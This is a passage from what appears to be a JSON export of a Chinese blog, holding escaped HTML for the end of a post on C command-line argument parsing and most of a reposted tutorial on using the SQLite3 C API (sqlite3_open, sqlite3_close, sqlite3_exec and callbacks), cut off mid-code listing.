class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译之后可以如下调用该程序\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://images2015.cnblogs.com/blog/779368/201511/779368-20151106225136680-1898825378.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/"},{"title":"C语言SQLite3使用总结","time":"2022-11-22T12:14:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e转载网址:\u003ca href=\"http://blog.chinaunix.net/uid-8447633-id-3321394.html\"\u003e查看\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前序:\u003c/p\u003e\u003cp\u003eSqlite3 的确很好用。小巧、速度快。但是因为非微软的产品,帮助文档总觉得不够。这些天再次研究它,又有一些收获,这里把我对 sqlite3 的研究列出来,以备忘记。\u003c/p\u003e\u003cp\u003e这里要注明,我是一个跨平台专注者,并不喜欢只用 windows 平台。我以前的工作就是为 unix 平台写代码。下面我所写的东西,虽然没有验证,但是我已尽量不使用任何 windows 的东西,只使用标准 C 或标准C++。但是,我没有尝试过在别的系统、别的编译器下编译,因此下面的叙述如果不正确,则留待以后修改。\u003c/p\u003e\u003cp\u003e下面我的代码仍然用 VC 编写,因为我觉得VC是一个很不错的IDE,可以加快代码编写速度(例如配合 Vassist )。下面我所说的编译环境,是VC2003。如果读者觉得自己习惯于 unix 下用 vi 编写代码速度较快,可以不用管我的说明,只需要符合自己习惯即可,因为我用的是标准 C 或 C++ 。不会给任何人带来不便。\u003c/p\u003e\u003ch2 id=\"一、版本\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%B8%80%E3%80%81%E7%89%88%E6%9C%AC\" class=\"headerlink\" title=\"一、版本\"\u003e\u003c/a\u003e一、版本\u003c/h2\u003e\u003cp\u003e从 \u003ca href=\"http://www.sqlite.org/\"\u003ewww.sqlite.org\u003c/a\u003e 网站可下载到最新的 sqlite 代码和编译版本。我写此文章时,最新代码是 3.3.17 版本。\u003c/p\u003e\u003cp\u003e很久没有去下载 sqlite 新代码,因此也不知道 sqlite 变化这么大。以前很多文件,现在全部合并成一个 sqlite3.c 文件。如果单独用此文件,是挺好的,省去拷贝一堆文件还担心有没有遗漏。但是也带来一个问题:此文件太大,快接近7万行代码,VC开它整个机器都慢下来了。如果不需要改它代码,也就不需要打开 sqlite3.c 文件,机器不会慢。但是,下面我要写通过修改 sqlite 代码完成加密功能,那时候就比较痛苦了。如果个人水平较高,建议用些简单的编辑器来编辑,例如UltraEdit 或 Notepad 。速度会快很多。\u003c/p\u003e\u003ch2 id=\"二、基本编译\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%8C%E3%80%81%E5%9F%BA%E6%9C%AC%E7%BC%96%E8%AF%91\" class=\"headerlink\" title=\"二、基本编译\"\u003e\u003c/a\u003e二、基本编译\u003c/h2\u003e\u003cp\u003e这个不想多说了,在 VC 里新建 dos 控制台空白工程,把 sqlite3.c 和 sqlite3.h 添加到工程,再新建一个 main.cpp文件。在里面写:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./sqlite3.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么要 extern “C” ?如果问这个问题,我不想说太多,这是C++的基础。要在 C++ 里使用一段 C 的代码,必须要用 extern “C” 括起来。C++跟 C虽然语法上有重叠,但是它们是两个不同的东西,内存里的布局是完全不同的,在C++编译器里不用extern “C”括起C代码,会导致编译器不知道该如何为 C 代码描述内存布局。\u003c/p\u003e\u003cp\u003e可能在 sqlite3.c 里人家已经把整段代码都 extern “C” 括起来了,但是你遇到一个 .c 文件就自觉的再括一次,也没什么不好。\u003c/p\u003e\u003cp\u003e基本工程就这样建立起来了。编译,可以通过。但是有一堆的 warning。可以不管它。\u003c/p\u003e\u003ch2 id=\"三、SQLITE操作入门\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%B8%89%E3%80%81SQLITE%E6%93%8D%E4%BD%9C%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"三、SQLITE操作入门\"\u003e\u003c/a\u003e三、SQLITE操作入门\u003c/h2\u003e\u003cp\u003esqlite提供的是一些C函数接口,你可以用这些函数操作数据库。通过使用这些接口,传递一些标准 sql 语句(以 char * 类型)给 sqlite 函数,sqlite 就会为你操作数据库。\u003c/p\u003e\u003cp\u003esqlite 跟MS的access一样是文件型数据库,就是说,一个数据库就是一个文件,此数据库里可以建立很多的表,可以建立索引、触发器等等,但是,它实际上得到的就是一个文件。备份这个文件就备份了整个数据库。\u003c/p\u003e\u003cp\u003esqlite 不需要任何数据库引擎,这意味着如果你需要 sqlite 来保存一些用户数据,甚至都不需要安装数据库(如果你做个小软件还要求人家必须装了sqlserver 才能运行,那也太黑心了)。\u003c/p\u003e\u003cp\u003e下面开始介绍数据库基本操作。\u003c/p\u003e\u003cp\u003e1 基本流程(1)关键数据结构\u003c/p\u003e\u003cp\u003esqlite 里最常用到的是 sqlite3 * 类型。从数据库打开开始,sqlite就要为这个类型准备好内存,直到数据库关闭,整个过程都需要用到这个类型。当数据库打开时开始,这个类型的变量就代表了你要操作的数据库。下面再详细介绍。\u003c/p\u003e\u003cp\u003e(2)打开数据库\u003c/p\u003e\u003cp\u003eint sqlite3_open( 文件名, sqlite3 ** );\u003c/p\u003e\u003cp\u003e用这个函数开始数据库操作。\u003c/p\u003e\u003cp\u003e需要传入两个参数,一是数据库文件名,比如:c://DongChunGuang_Database.db。\u003c/p\u003e\u003cp\u003e文件名不需要一定存在,如果此文件不存在,sqlite 会自动建立它。如果它存在,就尝试把它当数据库文件来打开。\u003c/p\u003e\u003cp\u003esqlite3 ** 参数即前面提到的关键数据结构。这个结构底层细节如何,你不要关它。\u003c/p\u003e\u003cp\u003e函数返回值表示操作是否正确,如果是 SQLITE_OK 则表示操作正常。相关的返回值sqlite定义了一些宏。具体这些宏的含义可以参考 sqlite3.h 文件。里面有详细定义(顺便说一下,sqlite3 的代码注释率自称是非常高的,实际上也的确很高。只要你会看英文,sqlite 可以让你学到不少东西)。\u003c/p\u003e\u003cp\u003e下面介绍关闭数据库后,再给一段参考代码。\u003c/p\u003e\u003cp\u003e(3)关闭数据库\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e前面如果用 sqlite3_open 开启了一个数据库,结尾时不要忘了用这个函数关闭数据库。\u003c/p\u003e\u003cp\u003e下面给段简单的代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./sqlite3.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3 * db = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//声明sqlite关键结构指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//打开数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//需要传入 db 这个指针的指针,因为 sqlite3_open 函数要为这个指针分配内存,还要让db指针指向这个内存区\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//…\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库打开成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是一次数据库操作过程。\u003c/p\u003e\u003cp\u003e2 SQL语句操作\u003c/p\u003e\u003cp\u003e本节介绍如何用sqlite 执行标准 sql 语法。\u003c/p\u003e\u003cp\u003e(1)执行sql语句\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, sqlite3_callback, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *,  \u003cspan class=\"type\"\u003echar\u003c/span\u003e **errmsg )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是执行一条 sql 语句的函数。\u003c/p\u003e\u003cp\u003e第1个参数不再说了,是前面open函数得到的指针。说了是关键数据结构。\u003c/p\u003e\u003cp\u003e第2个参数const char *sql 是一条 sql 语句,以/0结尾。\u003c/p\u003e\u003cp\u003e第3个参数sqlite3_callback 是回调,当这条语句执行之后,sqlite3会去调用你提供的这个函数。(什么是回调函数,自己找别的资料学习)\u003c/p\u003e\u003cp\u003e第4个参数void * 是你所提供的指针,你可以传递任何一个指针参数到这里,这个参数最终会传到回调函数里面,如果不需要传递指针给回调函数,可以填NULL。等下我们再看回调函数的写法,以及这个参数的使用。\u003c/p\u003e\u003cp\u003e第5个参数char ** errmsg 是错误信息。注意是指针的指针。sqlite3里面有很多固定的错误信息。执行 sqlite3_exec 之后,执行失败时可以查阅这个指针(直接 printf(“%s/n”,errmsg))得到一串字符串信息,这串信息告诉你错在什么地方。sqlite3_exec函数通过修改你传入的指针的指针,把你提供的指针指向错误提示信息,这样sqlite3_exec函数外面就可以通过这个 char*得到具体错误提示。\u003c/p\u003e\u003cp\u003e说明:通常,sqlite3_callback 和它后面的 void * 这两个位置都可以填 NULL。填NULL表示你不需要回调。比如你做insert 操作,做 delete 操作,就没有必要使用回调。而当你做 select 时,就要使用回调,因为 sqlite3 把数据查出来,得通过回调告诉你查出了什么数据。\u003c/p\u003e\u003cp\u003e(2)exec 的回调\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eint\u003c/span\u003e \u003cspan class=\"params\"\u003e(*sqlite3_callback)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003echar\u003c/span\u003e**, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你的回调函数必须定义成上面这个函数的类型。下面给个简单的例子:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan 